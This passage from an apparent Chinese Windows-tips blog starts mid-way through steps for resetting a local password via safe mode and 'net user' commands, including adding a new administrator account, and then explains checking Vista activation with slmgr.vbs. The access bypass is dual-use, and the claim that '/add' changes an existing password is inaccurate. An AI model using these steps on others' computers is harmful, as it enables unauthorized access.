　　1、重新启动计算机，在启动画面出现后马上按下F8键，选择“带命令行的安全模式”。

　　2、运行过程结束时，系统列出了系统超级用户“administrator”和本地用户“zhangbq”的选择菜单，鼠标单击“administrator”，进入命令行模式。

　　3、键入命令：“net user zhangbq 123456 /add”，强制将“zhangbq”用户的口令更改为“123456”。若想在此添加一新用户（如：用户名为abcdef，口令为123456）的话，请键入“net user abcdef 123456 /add”，添加后可用“net localgroup administrators abcdef /add”命令将用户提升为系统管理组“administrators”的用户，并使其具有超级权限。

　　4、重新启动计算机，选择正常模式下运行，就可以用更改后的口令“123456”登录“zhangbq”用户了。

如何检查Windows Vista的激活状态

2007-01-25T22:02:00.000+08:00

即使在安装Windows Vista时不输入序列号，也能够完成安装，只不过此时Windows Vista运行在测试模式下，只提供30天的试用期(详见延长Windows Vista RTM试用期限的技巧中的说明)。那么，如何确认您在安装过程中输入的Windows Vista序列号是否正确?是不是必须等到30天以后才能肯定Windows Vista是否被正确激活?

当然不必。
我们可能使用Windows Vista内置的激活状态检查工具来确定当前系统的激活状态。具体方法为：

　　打开提升权限的命令行窗口;

　　运行如下命令”slmgr.vbs -dli”;

　　几秒钟后，Windows Vista即会弹出一个说明当前系统激活状态的信息窗口。

电脑通